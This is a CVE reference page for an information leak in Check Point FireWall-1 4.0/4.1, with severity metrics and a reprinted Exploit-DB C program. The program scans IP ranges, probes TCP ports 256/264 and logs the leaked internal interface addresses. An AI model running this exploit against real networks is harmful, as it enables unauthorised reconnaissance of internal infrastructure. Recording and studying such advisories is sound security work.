CVE-2003-0757 : Detail

CVE-2003-0757

3.62%V4
Network
2003-09-06
04h00 +00:00
2024-09-16
19h36 +00:00
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CVE Descriptions

Check Point FireWall-1 4.0 and 4.1 before SP5 allows remote attackers to obtain the IP addresses of internal interfaces via certain SecuRemote requests to TCP ports 256 or 264, which leaks the IP addresses in a reply packet.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 23087

Publication date : 2001-07-16 22h00 +00:00
Author : Jim Becher
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/8524/info An information leakage issue has been discovered in Check Point Firewall-1. Because of this, an attacker may gain sensitive information about network resources. /************************************************************************/ /* The syntax is: */ /* fw1_getints (start IP address) (end IP address) */ /* */ /* Author: Jim Becher -- jim@becher.net */ /************************************************************************/ #include <fcntl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <ctype.h> #include <arpa/nameser.h> #include <sys/stat.h> #include <strings.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #define BUFSIZE 64 void snatch(int sock, char *pass) { int i, z, sockfd, len, result, bytes; int octet=0; char temp1[]="\x30\x00\x00\x03"; char temp2[]="\x02\x59\x05\x21"; char temp3[]="\x00\x00\x00\x08"; char command[256]; char buffer[BUFSIZE]=""; FILE *out; char outfile[21]; sockfd=sock; result=send(sockfd,temp1,4,0); sleep(1); /* Ugly... */ result=send(sockfd,temp2,4,0); result=read(sockfd, buffer, BUFSIZE); result=send(sockfd,temp3,4,0); result=read(sockfd, buffer, BUFSIZE); sprintf(outfile, "ints.%s", pass); out = fopen(outfile, "w"); fprintf(out, "ints:\n", 6); i=4; while (i<result) { for (z=1; z<5; z++) { if ( buffer[i] < 0 ) { octet=buffer[i]+256; } else { octet=buffer[i]; } fprintf(out, "%d", octet); i++; if (z != 4) { fprintf(out, "."); } } fprintf(out, "\n"); } fprintf(out, buffer, BUFSIZE); close(sockfd); } void main(int argc, char *argv[]) { int sock; struct in_addr addr; struct sockaddr_in sin; unsigned long start; unsigned long end; unsigned long counter; char buffer[1000]; struct hostent *hp=NULL; unsigned long lAddr; char *p; char trash[16]; if (argc!=3) { printf("\nusage : %s start-ip-address end-ip-address\n\n",argv[0]); exit(0); } start=inet_addr(argv[1]); end=inet_addr(argv[2]); for (counter = ntohl(start); counter <= ntohl(end); counter++) { int jim=0, h=0; sock=socket(AF_INET, SOCK_STREAM, 0); if ((counter & 0xff) == 255) counter++; if ((counter & 0xff) == 0) counter++; sin.sin_family=AF_INET; sin.sin_port=htons(264); sin.sin_addr.s_addr=htonl(counter); addr.s_addr=htonl(counter); bzero(&(sin.sin_zero), 8); fprintf(stdout, "Checking: %s\n", inet_ntoa(addr)); p=inet_ntoa(addr); strcpy(trash, p); jim=connect(sock, (struct sockaddr*)&sin, sizeof(sin)); if (jim==0) { fprintf(stdout, "Port 264 open on %s -- Checkpoint Firewall-1 v4.1 or later.\n",inet_ntoa(addr)); snatch(sock, trash); } else { fprintf(stdout, "Can not connect to %s on port 264\n\n", inet_ntoa(addr)); sin.sin_port=htons(256); jim=0; jim=connect(sock, (struct sockaddr*)&sin, sizeof(sin)); if (jim==0) { fprintf(stdout, "Port 256 open on %s -- Checkpoint Firewall-1 4.0 or earlier.\n",inet_ntoa(addr)); snatch(sock, trash); } else { fprintf(stdout, "Can not connect to %s on port 256\n\n", inet_ntoa(addr)); } } jim=0; } }

Products Mentioned

Configuraton 0

Checkpoint>>Firewall-1 >> Version 4.0

Checkpoint>>Firewall-1 >> Version 4.1

References